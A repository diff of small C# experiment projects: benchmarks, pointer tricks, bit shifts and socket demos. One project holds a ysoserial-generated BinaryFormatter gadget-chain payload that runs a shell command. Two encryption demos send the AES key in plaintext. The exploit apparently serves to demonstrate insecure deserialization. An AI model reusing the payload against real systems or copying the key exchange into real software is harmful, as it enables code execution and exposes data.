using BenchmarkDotNet.Attributes;
using BenchmarkDotNet.Running;
using Microsoft.Extensions.Configuration;
BenchmarkRunner.Run<ConfigurationBenchmarks>();
[SimpleJob, MemoryDiagnoser(false)]
public class ConfigurationBenchmarks
{
private IConfiguration _configuration = null!;
[GlobalSetup]
public void Setup()
{
const string rawJson = """
{
"foo": {
"bar": {
"value": "Hello World"
}
}
}
""";
using var stream = new MemoryStream(Encoding.UTF8.GetBytes(rawJson));
_configuration = new ConfigurationBuilder().AddJsonStream(stream).Build();
}
[Benchmark]
public string? NestedCalls()
{
return _configuration.GetSection("foo").GetSection("bar").GetSection("value").Value;
}
[Benchmark]
public string? SingleCall()
{
return _configuration.GetSection("foo:bar:value").Value;
}
}

View File

@ -0,0 +1,12 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E028_ClassMemoryAddress</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,12 @@
unsafe
{
var instance = new MyClass();
TypedReference instanceRef = __makeref(instance);
IntPtr instancePtr = **(IntPtr**)(&instanceRef);
Console.WriteLine($"{instancePtr:X}");
}
class MyClass
{
}

View File

@ -0,0 +1,49 @@
namespace E029_CircularBitShift;
internal struct CircularShiftingInt
{
private int _value;
public static implicit operator CircularShiftingInt(int value) => new() {_value = value};
public static implicit operator int(CircularShiftingInt value) => value._value;
public static int operator <<(CircularShiftingInt value, int shift) => CircularLeftShift(value, shift);
public static int operator >> (CircularShiftingInt value, int shift) => CircularRightShift(value, shift);
private static int CircularLeftShift(int value, int shift)
{
shift = Mod(shift, 32);
if (shift == 0) return value;
var p = 0;
for (var i = 0; i < shift; i++)
{
p |= 1 << (31 - i);
}
int cache = value & p;
cache >>= 32 - shift;
return (value << shift) | cache;
}
private static int CircularRightShift(int value, int shift)
{
shift = Mod(shift, 32);
if (shift == 0) return value;
var p = 0;
for (var i = 0; i < shift; i++)
{
p |= 1 << i;
}
int cache = value & p;
cache <<= 32 - shift;
return (value >> shift) | cache;
}
private static int Mod(int x, int m)
{
int r = x % m;
return r < 0 ? r + m : r;
}
}

View File

@ -0,0 +1,11 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E029_CircularBitShift</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,6 @@
using E029_CircularBitShift;
CircularShiftingInt n = 0b01011000000000000000011000000000;
Console.WriteLine(Convert.ToString(n, 2).PadLeft(32, '0'));
n <<= 5;
Console.WriteLine(Convert.ToString(n, 2).PadLeft(32, '0'));

View File

@ -0,0 +1,11 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E030_AsyncVoid</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,16 @@
Foo();
Throw();
Console.WriteLine("You shouldn't see this because of the exception thrown in Throw, yet here we are.");
return;
static async void Foo()
{
await Task.Delay(1000);
Console.WriteLine("The output will not be written.");
}
static async void Throw()
{
await Task.Delay(1000);
throw new Exception("This exception will not be raised");
}

View File

@ -0,0 +1,125 @@
namespace E031_ArrayVsEnumerable;
public static class ArrayExtensions
{
public static T[] AsArray<T>(this T value) => new[] { value };
public static T[] AsArray<T>(this (T, T) value) => new[] { value.Item1, value.Item2 };
public static T[] AsArray<T>(this (T, T, T) value) => new[] { value.Item1, value.Item2, value.Item3 };
public static T[] AsArray<T>(this (T, T, T, T) value) => new[] { value.Item1, value.Item2, value.Item3, value.Item4 };
public static T[] AsArray<T>(this (T, T, T, T, T) value) =>
new[] { value.Item1, value.Item2, value.Item3, value.Item4, value.Item5 };
public static T[] AsArray<T>(this (T, T, T, T, T, T) value) => new[]
{ value.Item1, value.Item2, value.Item3, value.Item4, value.Item5, value.Item6 };
public static T[] AsArray<T>(this (T, T, T, T, T, T, T) value) => new[]
{ value.Item1, value.Item2, value.Item3, value.Item4, value.Item5, value.Item6, value.Item7 };
public static T[] AsArray<T>(this (T, T, T, T, T, T, T, T) value) => new[]
{ value.Item1, value.Item2, value.Item3, value.Item4, value.Item5, value.Item6, value.Item7, value.Item8 };
public static T[] AsArray<T>(this (T, T, T, T, T, T, T, T, T) value) => new[]
{ value.Item1, value.Item2, value.Item3, value.Item4, value.Item5, value.Item6, value.Item7, value.Item8, value.Item9 };
public static T[] AsArray<T>(this (T, T, T, T, T, T, T, T, T, T) value) => new[]
{
value.Item1, value.Item2, value.Item3, value.Item4, value.Item5, value.Item6, value.Item7, value.Item8, value.Item9,
value.Item10
};
public static IEnumerable<T> AsEnumerable<T>(this T value)
{
yield return value;
}
public static IEnumerable<T> AsEnumerable<T>(this (T, T) value)
{
yield return value.Item1;
yield return value.Item2;
}
public static IEnumerable<T> AsEnumerable<T>(this (T, T, T) value)
{
yield return value.Item1;
yield return value.Item2;
yield return value.Item3;
}
public static IEnumerable<T> AsEnumerable<T>(this (T, T, T, T) value)
{
yield return value.Item1;
yield return value.Item2;
yield return value.Item3;
yield return value.Item4;
}
public static IEnumerable<T> AsEnumerable<T>(this (T, T, T, T, T ) value)
{
yield return value.Item1;
yield return value.Item2;
yield return value.Item3;
yield return value.Item4;
yield return value.Item5;
}
public static IEnumerable<T> AsEnumerable<T>(this (T, T, T, T, T, T) value)
{
yield return value.Item1;
yield return value.Item2;
yield return value.Item3;
yield return value.Item4;
yield return value.Item5;
yield return value.Item6;
}
public static IEnumerable<T> AsEnumerable<T>(this (T, T, T, T, T, T, T) value)
{
yield return value.Item1;
yield return value.Item2;
yield return value.Item3;
yield return value.Item4;
yield return value.Item5;
yield return value.Item6;
yield return value.Item7;
}
public static IEnumerable<T> AsEnumerable<T>(this (T, T, T, T, T, T, T, T) value)
{
yield return value.Item1;
yield return value.Item2;
yield return value.Item3;
yield return value.Item4;
yield return value.Item5;
yield return value.Item6;
yield return value.Item7;
yield return value.Item8;
}
public static IEnumerable<T> AsEnumerable<T>(this (T, T, T, T, T, T, T, T, T) value)
{
yield return value.Item1;
yield return value.Item2;
yield return value.Item3;
yield return value.Item4;
yield return value.Item5;
yield return value.Item6;
yield return value.Item7;
yield return value.Item8;
yield return value.Item9;
}
public static IEnumerable<T> AsEnumerable<T>(this (T, T, T, T, T, T, T, T, T, T) value)
{
yield return value.Item1;
yield return value.Item2;
yield return value.Item3;
yield return value.Item4;
yield return value.Item5;
yield return value.Item6;
yield return value.Item7;
yield return value.Item8;
yield return value.Item9;
yield return value.Item10;
}
}

View File

@ -0,0 +1,15 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E031_ArrayVsEnumerable</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="BenchmarkDotNet" Version="0.13.12"/>
</ItemGroup>
</Project>

View File

@ -0,0 +1,33 @@
using BenchmarkDotNet.Attributes;
using BenchmarkDotNet.Running;
using E031_ArrayVsEnumerable;
BenchmarkRunner.Run<ArrayVsEnumerable>();
[SimpleJob, MemoryDiagnoser(false)]
public class ArrayVsEnumerable
{
[Benchmark]
public int[] ConcatWithArraySingleton()
{
return 0.AsArray().Concat(5.AsArray()).ToArray();
}
[Benchmark]
public int[] ConcatWithEnumerableSingleton()
{
return 0.AsEnumerable().Concat(5.AsEnumerable()).ToArray();
}
[Benchmark]
public int[] ConcatWithArrayTuple()
{
return (1, 2, 3).AsArray().Concat((4, 5, 6).AsArray()).ToArray();
}
[Benchmark]
public int[] ConcatWithEnumerableTuple()
{
return (1, 2, 3).AsEnumerable().Concat((4, 5, 6).AsEnumerable()).ToArray();
}
}

View File

@ -0,0 +1,11 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E032_BinaryFormatterExploit</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,3 @@
// ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegateMono -o base64 -c 'start https://olivr.me/binaryformatter/'
const string base64 = "AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAACovYyBzdGFydCBodHRwczovL29saXZyLm1lL2JpbmFyeWZvcm1hdHRlci8GBwAAAANjbWQEBQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQdtZXRob2QwB21ldGhvZDEDAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCQgAAAAJCQAAAAkJAAAABAgAAAAwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BwAAAAR0eXBlCGFzc2VtYmx5BnRhcmdldBJ0YXJnZXRUeXBlQXNzZW1ibHkOdGFyZ2V0VHlwZU5hbWUKbWV0aG9kTmFtZQ1kZWxlZ2F0ZUVudHJ5AQECAQEBAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkGCgAAALACU3lzdGVtLkZ1bmNgM1tbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQYLAAAAS21zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQoGDAAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5Bg0AAAAaU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MGDgAAAAVTdGFydAkPAAAABAkAAAAvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIHAAAABE5hbWUMQXNzZW1ibHlOYW1lCUNsYXNzTmFtZQlTaWduYXR1cmUKU2lnbmF0dXJlMgpNZW1iZXJUeXBlEEdlbmVyaWNBcmd1bWVudHMBAQEBAQADCA1TeXN0ZW0uVHlwZVtdCQ4AAAAJDAAAAAkNAAAABhMAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKAQ8AAAAIAAAACQoAAAAJCwAAAAoJDAAAAAkNAAAACQ4AAAAKCw==";
File.WriteAllBytes("payload.dat", Convert.FromBase64String(base64));

View File

@ -0,0 +1,11 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E033_EncryptionLocal</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,74 @@
using System.Security.Cryptography;
using System.Text;
await using Stream stream = await EncryptMessageAsync();
await DecryptMessageAsync(stream);
await Task.Delay(-1);
return;
static async Task<Stream> EncryptMessageAsync()
{
using var aes = Aes.Create();
aes.GenerateKey();
aes.GenerateIV();
using ICryptoTransform encryptor = aes.CreateEncryptor();
var stream = new MemoryStream();
await using var crypto = new CryptoStream(stream, encryptor, CryptoStreamMode.Write, true);
await using (var writer = new BinaryWriter(stream, Encoding.UTF8, true))
{
Console.WriteLine($"Client sending key: {BitConverter.ToString(aes.Key)}");
Console.WriteLine($"Client sending IV: {BitConverter.ToString(aes.IV)}");
// send key and iv unencrypted
writer.Write(aes.Key.Length);
writer.Write(aes.Key);
writer.Write(aes.IV.Length);
writer.Write(aes.IV);
}
await using (var writer = new BinaryWriter(crypto, Encoding.UTF8, true))
{
// send encrypted message
byte[] message = "Hello, world!"u8.ToArray();
writer.Write(message.Length);
Console.WriteLine($"Writing {message.Length} bytes");
writer.Write(message);
}
await crypto.FlushFinalBlockAsync();
stream.Position = 0;
return stream;
}
static async Task DecryptMessageAsync(Stream stream)
{
using var aes = Aes.Create();
using (var reader = new BinaryReader(stream, Encoding.UTF8, true))
{
int keyLength = reader.ReadInt32();
aes.Key = reader.ReadBytes(keyLength);
int ivLength = reader.ReadInt32();
aes.IV = reader.ReadBytes(ivLength);
Console.WriteLine($"Server received key: {BitConverter.ToString(aes.Key)}");
Console.WriteLine($"Server received IV: {BitConverter.ToString(aes.IV)}");
}
using ICryptoTransform decryptor = aes.CreateDecryptor();
await using var crypto = new CryptoStream(stream, decryptor, CryptoStreamMode.Read, true);
using (var reader = new BinaryReader(crypto, Encoding.UTF8, true))
{
int length = reader.ReadInt32();
Console.WriteLine($"Reading {length} bytes");
byte[] message = reader.ReadBytes(length);
Console.WriteLine($"Server received message: {Encoding.UTF8.GetString(message)}");
}
}

View File

@ -0,0 +1,11 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E034_EncryptionNetwork</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,81 @@
/*
using System.Net;
using System.Net.Sockets;
using System.Security.Cryptography;
using System.Text;
_ = Task.Run(ServerWorker);
_ = Task.Run(ClientWorker);
await Task.Delay(-1);
return;
static async Task ClientWorker()
{
using var socket = new Socket(SocketType.Stream, ProtocolType.Tcp);
await socket.ConnectAsync(new IPEndPoint(IPAddress.Loopback, 1234));
using var aes = Aes.Create();
aes.GenerateKey();
aes.GenerateIV();
await using var stream = new NetworkStream(socket);
await using var crypto = new CryptoStream(stream, aes.CreateEncryptor(), CryptoStreamMode.Write, true);
await using (var writer = new BinaryWriter(stream, Encoding.UTF8, true))
{
Console.WriteLine($"Client sending key: {BitConverter.ToString(aes.Key)}");
Console.WriteLine($"Client sending IV: {BitConverter.ToString(aes.IV)}");
// send key and iv unencrypted
writer.Write(aes.Key.Length);
writer.Write(aes.Key);
writer.Write(aes.IV.Length);
writer.Write(aes.IV);
}
await using (var writer = new BinaryWriter(crypto, Encoding.UTF8, true))
{
const string message = "Hello, world!";
// send encrypted message
Console.WriteLine($"Client sending message: {message}");
writer.Write(message);
}
await crypto.FlushFinalBlockAsync();
await Task.Delay(-1);
}
static async Task ServerWorker()
{
using var listener = new Socket(SocketType.Stream, ProtocolType.Tcp);
listener.Bind(new IPEndPoint(IPAddress.Any, 1234));
listener.Listen(1);
using Socket client = await listener.AcceptAsync();
await using var stream = new NetworkStream(client);
using var aes = Aes.Create();
using (var reader = new BinaryReader(stream, Encoding.UTF8, true))
{
int keyLength = reader.ReadInt32();
aes.Key = reader.ReadBytes(keyLength);
int ivLength = reader.ReadInt32();
aes.IV = reader.ReadBytes(ivLength);
Console.WriteLine($"Server received key: {BitConverter.ToString(aes.Key)}");
Console.WriteLine($"Server received IV: {BitConverter.ToString(aes.IV)}");
}
await using var crypto = new CryptoStream(stream, aes.CreateDecryptor(), CryptoStreamMode.Read, true);
using (var reader = new BinaryReader(crypto, Encoding.UTF8, true))
{
Console.Write("Server received message: ");
Console.WriteLine(reader.ReadString());
}
await Task.Delay(-1);
}
*/

View File

@ -0,0 +1,110 @@
using System.IO.Compression;
using System.Net;
using System.Net.Sockets;
using System.Numerics;
using System.Security.Cryptography;
using System.Text;
await Task.WhenAll(ServerTask(), ClientTask());
await Task.Delay(-1);
return;
static async Task ClientTask()
{
using var socket = new Socket(SocketType.Stream, ProtocolType.Tcp);
await socket.ConnectAsync(new IPEndPoint(IPAddress.Loopback, 1234));
using var aes = Aes.Create();
aes.GenerateKey();
aes.GenerateIV();
await using var stream = new NetworkStream(socket);
SendAesKey(stream, aes);
const string message = "Hello";
Console.WriteLine($"Client sending message: {message}");
SendEncryptedMessage(Encoding.UTF8.GetBytes(message), stream, aes);
await Task.Delay(-1);
}
static async Task ServerTask()
{
using var listener = new Socket(SocketType.Stream, ProtocolType.Tcp);
listener.Bind(new IPEndPoint(IPAddress.Any, 1234));
listener.Listen(1);
using Socket client = await listener.AcceptAsync();
await using var stream = new NetworkStream(client);
using var aes = Aes.Create();
ReadAesKey(stream, aes);
Console.WriteLine($"Server received message: {Encoding.UTF8.GetString(ReadEncryptedMessage(stream, aes))}");
await Task.Delay(-1);
}
static void ReadAesKey(Stream stream, SymmetricAlgorithm aes)
{
using var reader = new BinaryReader(stream, Encoding.UTF8, true);
aes.Key = reader.ReadBytes(IPAddress.NetworkToHostOrder(reader.ReadInt32()));
aes.IV = reader.ReadBytes(IPAddress.NetworkToHostOrder(reader.ReadInt32()));
}
static void SendAesKey(Stream stream, SymmetricAlgorithm aes)
{
using var writer = new BinaryWriter(stream, Encoding.UTF8, true);
writer.Write(IPAddress.HostToNetworkOrder(aes.Key.Length));
writer.Write(aes.Key);
writer.Write(IPAddress.HostToNetworkOrder(aes.IV.Length));
writer.Write(aes.IV);
}
static byte[] ReadEncryptedMessage(Stream inputStream, SymmetricAlgorithm aes)
{
using var inputReader = new BinaryReader(inputStream, Encoding.UTF8, true);
using ICryptoTransform cryptoTransform = aes.CreateDecryptor();
// read unencrypted length header
using var buffer = new MemoryStream();
int length = IPAddress.NetworkToHostOrder(inputReader.ReadInt32());
Console.WriteLine($"Reading {length} bytes");
buffer.Write(inputReader.ReadBytes(length));
// read encrypted data
Console.WriteLine($"Read {buffer.Length} bytes");
Console.WriteLine("Decrypting...");
buffer.Position = 0;
using var cryptoStream = new CryptoStream(buffer, cryptoTransform, CryptoStreamMode.Read);
using var gzip = new GZipStream(cryptoStream, CompressionMode.Decompress);
using var cryptoReader = new BinaryReader(gzip, Encoding.UTF8);
length = IPAddress.NetworkToHostOrder(cryptoReader.ReadInt32());
Console.WriteLine($"Need to read {length} bytes");
return cryptoReader.ReadBytes(length);
}
static void SendEncryptedMessage(byte[] message, Stream outputStream, SymmetricAlgorithm aes)
{
using var outputWriter = new BinaryWriter(outputStream, Encoding.UTF8, true);
using ICryptoTransform cryptoTransform = aes.CreateEncryptor();
// encrypt data
using var buffer = new MemoryStream();
using var cryptoStream = new CryptoStream(buffer, cryptoTransform, CryptoStreamMode.Write);
using var gzip = new GZipStream(cryptoStream, CompressionMode.Compress);
using var cryptoWriter = new BinaryWriter(gzip, Encoding.UTF8);
cryptoWriter.Write(IPAddress.HostToNetworkOrder(message.Length));
cryptoWriter.Write(message);
cryptoWriter.Flush();
cryptoStream.FlushFinalBlock();
buffer.Position = 0;
// sent encrypted data with unencrypted length header
Console.WriteLine($"Writing {buffer.Length} bytes");
outputWriter.Write(IPAddress.HostToNetworkOrder((int)BitOperations.RoundUpToPowerOf2((uint)buffer.Length)));
buffer.CopyTo(outputStream);
outputStream.Flush();
Console.WriteLine("Message sent");
}

View File

@ -0,0 +1,11 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E035_Expressions</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,14 @@
using System.Linq.Expressions;
Foo(() => new Exception("Hello", new ArgumentException("World")));
return;
static void Foo<T>(Expression<Func<T>> expression)
{
foreach (Expression argument in (expression.Body as NewExpression)!.Arguments)
{
Console.WriteLine(argument);
}
Console.WriteLine(string.Join(Environment.NewLine, expression.Parameters));
}

View File

@ -0,0 +1,15 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E036_NegateVsTimesMinus1Benchmarks</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="BenchmarkDotNet" Version="0.13.12"/>
</ItemGroup>
</Project>

View File

@ -0,0 +1,20 @@
using BenchmarkDotNet.Attributes;
using BenchmarkDotNet.Running;
BenchmarkRunner.Run<NegateVsTimesMinus1Benchmarks>();
[SimpleJob]
public class NegateVsTimesMinus1Benchmarks
{
[Benchmark]
[Arguments(1)]
[Arguments(10)]
[Arguments(100)]
public float Negate(float x) => -x;
[Benchmark]
[Arguments(1)]
[Arguments(10)]
[Arguments(100)]
public float TimesMinus1(float x) => x * -1;
}

View File

@ -0,0 +1,11 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E037_FractionReduce</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,16 @@
Console.WriteLine(Reduction(7, 16));
return;
static string Reduction(int numerator, int denominator)
{
for (var i = 10; i > 1; i--)
{
while (numerator % i == 0 && denominator % i == 0)
{
numerator /= i;
denominator /= i;
}
}
return $"{numerator}/{denominator}";
}

View File

@ -0,0 +1,15 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E038_RecursionBenchmarks</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="BenchmarkDotNet" Version="0.13.12"/>
</ItemGroup>
</Project>

View File

@ -0,0 +1,55 @@
using BenchmarkDotNet.Attributes;
using BenchmarkDotNet.Running;
BenchmarkRunner.Run<RecursionBenchmarks>();
[SimpleJob, MemoryDiagnoser(false)]
public class RecursionBenchmarks
{
[Benchmark]
[Arguments("C:\\Mame")]
public void ListFilesWithRecursion(string path)
{
try
{
foreach (string file in Directory.GetFiles(path))
{
// print filename
}
foreach (string subDir in Directory.GetDirectories(path))
ListFilesWithRecursion(subDir);
}
catch (UnauthorizedAccessException)
{
// ignored
}
}
[Benchmark]
[Arguments("C:\\Mame")]
public void ListFilesWithIteration(string path)
{
Queue<string> queue = new Queue<string>();
queue.Enqueue(path);
while (queue.Count > 0)
{
string currentDir = queue.Dequeue();
try
{
foreach (string file in Directory.GetFiles(currentDir))
{
// print filename
}
foreach (string subDir in Directory.GetDirectories(currentDir))
queue.Enqueue(subDir);
}
catch (UnauthorizedAccessException)
{
// ignored
}
}
}
}

View File

@ -0,0 +1,11 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E039_UdpTest</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,40 @@
using System.Net;
using System.Net.Sockets;
using System.Text;
_ = Task.Run(ClientWorker);
_ = Task.Run(ServerWorker);
await Task.Delay(-1); // keep app open
return;
static async Task ClientWorker()
{
using var client = new Socket(SocketType.Dgram, ProtocolType.Udp);
EndPoint endpoint = new IPEndPoint(IPAddress.Loopback, 1234);
var message = new byte[11];
Encoding.ASCII.GetBytes("Hello World", message);
Console.WriteLine("[CLIENT] Sending message to server");
await client.SendToAsync(message, SocketFlags.None, endpoint);
Console.WriteLine("[CLIENT] Waiting for response");
message = new byte[11];
await client.ReceiveFromAsync(message, SocketFlags.None, endpoint);
Console.WriteLine($"[CLIENT] Received response: \"{Encoding.ASCII.GetString(message)}\"");
}
static async Task ServerWorker()
{
using var server = new Socket(SocketType.Dgram, ProtocolType.Udp);
EndPoint endpoint = new IPEndPoint(IPAddress.Any, 1234);
server.Bind(endpoint);
var buffer = new byte[11];
SocketReceiveMessageFromResult result = await server.ReceiveMessageFromAsync(buffer, SocketFlags.None, endpoint);
Console.WriteLine($"[SERVER] Server received \"{Encoding.ASCII.GetString(buffer)}\". Sending the same message back");
await server.SendToAsync(buffer, SocketFlags.None, result.RemoteEndPoint);
}

View File

@ -0,0 +1,11 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E040_CleverUsing</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,23 @@
Console.WriteLine("This outputs in default color");
using (new DisposableConsoleColor(ConsoleColor.Red))
{
Console.WriteLine("This outputs in red");
}
Console.WriteLine("This once again outputs in default color");
public class DisposableConsoleColor : IDisposable
{
private readonly ConsoleColor _oldColor;
public DisposableConsoleColor(ConsoleColor color)
{
_oldColor = Console.ForegroundColor;
Console.ForegroundColor = color;
}
public void Dispose()
{
Console.ForegroundColor = _oldColor;
}
}

View File

@ -0,0 +1,11 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E041_InheritanceTest</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,18 @@
new DerivedClass(42);
public abstract class BaseClass
{
protected BaseClass() => DoSomething();
protected BaseClass(int x) => DoSomething();
public abstract void DoSomething();
}
public sealed class DerivedClass : BaseClass
{
private readonly int _someInt = 10;
public DerivedClass(int x) => _someInt = x;
public override void DoSomething() => Console.WriteLine(_someInt);
}

View File

@ -0,0 +1,15 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E042_LinqBenchmarks</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="BenchmarkDotNet" Version="0.13.12"/>
</ItemGroup>
</Project>

View File

@ -0,0 +1,35 @@
using BenchmarkDotNet.Attributes;
using BenchmarkDotNet.Running;
BenchmarkRunner.Run<LinqBenchmarks>();
[SimpleJob, MemoryDiagnoser(false)]
public class LinqBenchmarks
{
private readonly List<int> _list = Enumerable.Range(1, 1000000).ToList();
[Benchmark]
public int[] CustomLoop()
{
var array = new int[_list.Count];
var resultIndex = 0;
for (var index = 0; index < _list.Count; index++)
{
if (_list[index] % 2 == 0)
{
array[resultIndex++] = _list[index];
}
}
Array.Resize(ref array, resultIndex);
Array.Sort(array, (a, b) => b - a);
return array;
}
